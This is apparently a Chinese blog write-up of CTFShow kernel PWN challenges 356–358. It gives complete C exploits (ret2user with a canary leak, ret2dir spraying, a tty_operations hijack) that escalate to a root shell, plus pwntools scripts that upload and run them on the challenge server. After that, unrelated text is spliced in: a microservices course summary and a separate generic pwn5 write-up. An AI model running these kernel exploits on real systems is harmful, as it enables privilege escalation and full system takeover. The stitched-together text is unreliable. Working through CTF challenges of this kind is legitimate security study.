CTFShow PWN入门---Kernel PWN 356-360 [持续更新]

PWN 356

本题和强网杯 2018qwb2018-core一模一样。
详细请看我之前的文章: Kernel PWN 入门(二)

exp:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred_addr;
size_t commit_creds_addr;

void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void get_shell(){
    if(getuid()==0){
        printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
        system("/bin/sh");
    }else{
        puts("[-] get root shell failed.");
        exit(-1);
    }
}

void get_root(){           //ret2user
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}


int show_read(int fd,size_t* addr){
    if(ioctl(fd,1719109787,addr)==-1){
        printf("[*]show_read failed");
        return -1;
    }
    return 0;

}

int set_off(int fd,int off){
    if(ioctl(fd,1719109788,off) == -1){
        printf("[*]show_read failed");
        return -1;
    }
    return 0;
}

int show_copy_func(int fd,unsigned long len){
     if(ioctl(fd,1719109786,len)==-1){
        printf("[*]show_read failed");
        return -1;
    }
    return 0;
}


unsigned long get_symbol_address(const char *symbol_name) {
    FILE *fp;
    char line[1024];
    unsigned long address;
    char symbol[1024];

    // 打开 /proc/kallsyms 文件
    fp = fopen("/tmp/kallsyms", "r");
    if (fp == NULL) {
        perror("fopen");
        return 0;
    }

    // 遍历每一行,查找符号
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 解析每行的地址和符号名称
        if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
            // 如果符号名称匹配,返回地址
            if (strcmp(symbol, symbol_name) == 0) {
                fclose(fp);
                return address;
            }
        }
    }

    // 如果没有找到符号,返回 0
    fclose(fp);
    return 0;
}


int main(){
	save_status();
	//leak stack
    int fd = open("/proc/show",O_RDWR);
    int i = 0;
    size_t stack[16] = {0};
    size_t rop[0x50] = {0};

    set_off(fd,0x40);
    show_read(fd,stack);
    size_t canary = stack[0];
    printf("canary is ------------->: 0x%lx\n",canary);

    //leak addr
    size_t startup_64 = get_symbol_address("startup_64");
    unsigned long offset = startup_64-nokalsr_kernel_base;
    prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");
    commit_creds_addr = get_symbol_address("commit_creds");
    printf("offset is ==========>: %lx\n",offset);
    printf("prepare_kernel_cred_addr is ==========>: %lx\n",prepare_kernel_cred_addr);
    printf("commit_creds_addr is ==========>: %lx\n",commit_creds_addr);


    //rop
    size_t pop_rdi_ret = 0xffffffff81000b2f+offset;
    size_t swapgs_popfq_ret = 0xffffffff81a012da+offset;
    size_t iretq_ret = 0xffffffff81050ac2+offset;

    for(int j =0;j<10;j++){
        rop[i++] = 0;
    }
    rop[8] = canary;
    rop[i++] = (size_t)get_root;
    rop[i++] = swapgs_popfq_ret;
    rop[i++] = 0;
    rop[i++] = iretq_ret;
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd,rop,0x100);
    show_copy_func(fd,0xffffffffffff0100);

	return 0;
}

在这里插入图片描述

打远程用的脚本:

from pwn import *
import base64
context.log_level = "debug"

with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())

p = remote("pwn.challenge.ctf.show", 28290)
#p = process('./run.sh')
try_count = 1
while True:
    p.sendline()
    p.recvuntil("/ $")

    count = 0
    for i in range(0, len(exp), 0x200):
        p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
        count += 1
        log.info("count: " + str(count))

    for i in range(count):
        p.recvuntil("/ $")
    
    p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
    p.sendline("chmod +x /tmp/exploit")
    p.sendline("/tmp/exploit ")
    break

p.interactive()

在这里插入图片描述

PWN 357

本题和MINI-LCTF2022 - kgadget一样的原题
ret2dir
详细请看我的博客: kernel pwn 入门(四) ret2dir详细

EXP:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <signal.h>

size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred_addr=0xffffffff810c9540;
size_t commit_creds_addr=0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t pop_rdi = 0xffffffff8108c6f0;
size_t swapgs_pop_rbp = 0xffffffff81bb99af;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0+0x1b;
size_t pop_rsp = 0xffffffff811483d0;
size_t up_rsp = 0xffffffff81488561;    //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
size_t ret = 0xffffffff810001fc;
size_t target;
int fd;


void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void get_shell(){
    if(getuid()==0){
        printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
        system("/bin/sh");
    }else{
        puts("[-] get root shell failed.");
        exit(-1);
    }
}

void get_root(){           //ret2user
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}



unsigned long get_symbol_address(const char *symbol_name) {
    FILE *fp;
    char line[1024];
    unsigned long address;
    char symbol[1024];

    // 打开 /proc/kallsyms 文件
    fp = fopen("/tmp/kallsyms", "r");
    if (fp == NULL) {
        perror("fopen");
        return 0;
    }

    // 遍历每一行,查找符号
    while (fgets(line, sizeof(line), fp) != NULL) {
        // 解析每行的地址和符号名称
        if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
            // 如果符号名称匹配,返回地址
            if (strcmp(symbol, symbol_name) == 0) {
                fclose(fp);
                return address;
            }
        }
    }

    // 如果没有找到符号,返回 0
    fclose(fp);
    return 0;
}

void copy_dir(){
    size_t* payload;
    unsigned int idx = 0;
    payload = mmap(NULL,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE,-1,0);
    for(int i =0;i<(4096/8-11-0x30);i++){
        payload[idx++] = up_rsp;
    }
    for(int i = 0;i<0x30;i++){
        payload[idx++] = ret;
    }
    payload[idx++] = pop_rdi;
    payload[idx++] = init_cred;
    payload[idx++] = commit_creds_addr;
    payload[idx++] = swapgs_restore_regs_and_return_to_usermode;
    payload[idx++] = 0;
    payload[idx++] = 0;
    payload[idx++] = (size_t)get_shell;
    payload[idx++] = user_cs;
    payload[idx++] = user_rflags;
    payload[idx++] = user_sp;
    payload[idx++] = user_ss;


}


int main(){
	save_status();
    fd = open("/dev/ctfshow",O_RDWR);
	for(int i =0;i<0x3000;i++){
        copy_dir();
    }

    target = 0xFFFF888000000000 + 0x6000000;
     __asm__(
        "mov r15,   0xbeefdead;"
        "mov r14,   0x11111111;"
        "mov r13,   0x22222222;"
        "mov r12,   0x33333333;"
        "mov rbp,   0x44444444;"
        "mov rbx,   0x55555555;"
        "mov r11,   0x66666666;"
        "mov r10,   0x77777777;"
        "mov r9,    pop_rsp;"
        "mov r8,    target;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   target;"  
        "mov rsi,   0x1bf52;"
        "mov rdi,   fd;"   
        "mov rax,   0x10;"
        "syscall"
        );



	return 0;
}

PWN 358

也是原题,详细请看kernel pwn 入门(三) ret2usr+bypass SMEP
EXP

#include "kernel_pwn.h"

size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t kernel_base;
int fd1;
int fd2;
int tty_fd;

int main()
{
	bind_core(0);
	save_status();
	fd1 = open("/dev/easydev",2);
	fd2 = open("/dev/easydev",2);
	if(fd1<0){
		err_exit("open failed....");
	}

	ioctl(fd1,0x10001,0x2e0);
	close(fd1);
	tty_fd = open("/dev/ptmx",2);

	size_t buf[0x100] = {0};
	size_t tty_oper[0x100] = {0};
	int idx = 0;
	read(fd2,buf,0x100);
	binary_dump((char*)buf,0x100,0);

	tty_oper[idx++] = 0;
	tty_oper[idx++] = 0xffffffff810d238d;
	tty_oper[idx++] = 0xffffffff81e48c60;
	tty_oper[idx++] = 0xffffffff810a1420;
	tty_oper[idx++] = 0xffffffff81063694;
	tty_oper[idx++] = 0;
	tty_oper[idx++] = 0xffffffff814e35ef;
	tty_oper[idx++] = (size_t)get_shell;
	tty_oper[idx++] = user_cs;
	tty_oper[idx++] = user_rflags;
	tty_oper[idx++] = user_sp;
	tty_oper[idx++] = user_ss;
	tty_oper[12] = 0xffffffff816b316a; //push rdx; adc byte ptr [rbx + 0x41], bl; pop rsp; pop r13; pop rbp; ret;


	buf[3] = (size_t)tty_oper;
	write(fd2,buf,0x100);
	binary_dump((char*)buf,0x100,0);

	ioctl(tty_fd,0,tty_oper-0x1);



	return 0;
}

上传脚本:

from pwn import *
import base64
context.log_level = "debug"

with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())

p = remote("pwn.challenge.ctf.show", 28304)

p.recvuntil(b"$ ")
p.sendline(b"ls")


count = 0
for i in range(0, len(exp), 0x200):
    p.recvuntil(b"/ $ ")
    p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
    count += 1
    log.info("count: " + str(count))


p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")


p.interactive()
内容概要:本文详细介绍了“秒杀商城”微服务架构的设计与实战全过程,涵盖系统从需求分析、服务拆分、技术选型到核心功能开发、分布式事务处理、容器化部署及监控链路追踪的完整流程。重点解决了高并发场景下的超卖问题,采用Redis预减库存、消息队列削峰、数据库乐观锁等手段保障数据一致性,并通过Nacos实现服务注册发现与配置管理,利用Seata处理跨服务分布式事务,结合RabbitMQ实现异步下单,提升系统吞吐能力。同时,项目支持Docker Compose快速部署和Kubernetes生产级编排,集成Sleuth+Zipkin链路追踪与Prometheus+Grafana监控体系,构建可观测性强的微服务系统。; 适合人群:具备Java基础和Spring Boot开发经验,熟悉微服务基本概念的中高级研发人员,尤其是希望深入理解高并发系统设计、分布式事务、服务治理等核心技术的开发者;适合工作2-5年、有志于转型微服务或提升架构能力的工程师; 使用场景及目标:①学习如何基于Spring Cloud Alibaba构建完整的微服务项目;②掌握秒杀场景下高并发、超卖控制、异步化、削峰填谷等关键技术方案;③实践分布式事务(Seata)、服务熔断降级、链路追踪、统一配置中心等企业级中间件的应用;④完成从本地开发到容器化部署的全流程落地; 阅读建议:建议按照文档提供的七个阶段循序渐进地动手实践,重点关注秒杀流程设计、服务间通信机制、分布式事务实现和系统性能优化部分,结合代码调试与监控工具深入理解各组件协作原理,真正掌握高并发微服务系统的构建能力。
### CTF SHOW PWN入门 pwn5 解法 对于CTF SHOW平台上的PWN挑战,尤其是针对`pwn5`这一题目,解决方法通常涉及对二进制漏洞的理解以及如何利用这些漏洞来获取flag。 #### 题目分析 在处理这类问题时,首先需要下载并理解目标程序的行为模式。通过逆向工程工具如IDA Pro或Ghidra可以查看可执行文件内部结构,识别潜在的安全缺陷[^1]。 #### 漏洞发现 经过初步审查后得知此题存在栈溢出的可能性。当输入长度超过缓冲区大小时未作适当检查便直接复制到固定空间内,这使得攻击者能够覆盖返回地址从而控制EIP寄存器指向任意位置执行恶意代码片段[^2]。 #### 利用技巧 为了成功完成该关卡,需构建特定格式的数据包作为输入发送给服务端进程。这里采用的方法是构造ROP链(Return-Oriented Programming Chain),即精心挑选一系列现有指令序列组合起来实现所需功能而不必注入额外shellcode: ```python from pwn import * context(os="linux", arch="amd64") binary_path = './path_to_binary' elf = ELF(binary_path) # 远程连接设置 host, port = "remote_host", 1234 conn = remote(host, int(port)) # 构造payload offset = ... # 计算偏移量 ret_address = ... pop_rdi_ret_gadget = ... payload = b'A' * offset + \ p64(pop_rdi_ret_gadget) + \ p64(target_function_arg) + \ p64(ret_address) conn.recvuntil(b'Tell me your name:') conn.sendline(payload) ``` 上述Python脚本展示了基本框架,实际应用中还需根据具体情况调整参数值,比如计算正确的偏移量(offset),找到合适的gadgets等[^3]。 #### 获取Flag 一旦成功触发了预期行为,则可以通过读取内存中的字符串或其他方式获得最终答案。例如,在某些情况下可能需要解析动态链接库表项以定位标准I/O函数的实际映射地址,进而打印出隐藏信息;而在另一些场景下则可能是直接调用了puts()之类的API输出预设好的标志位[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值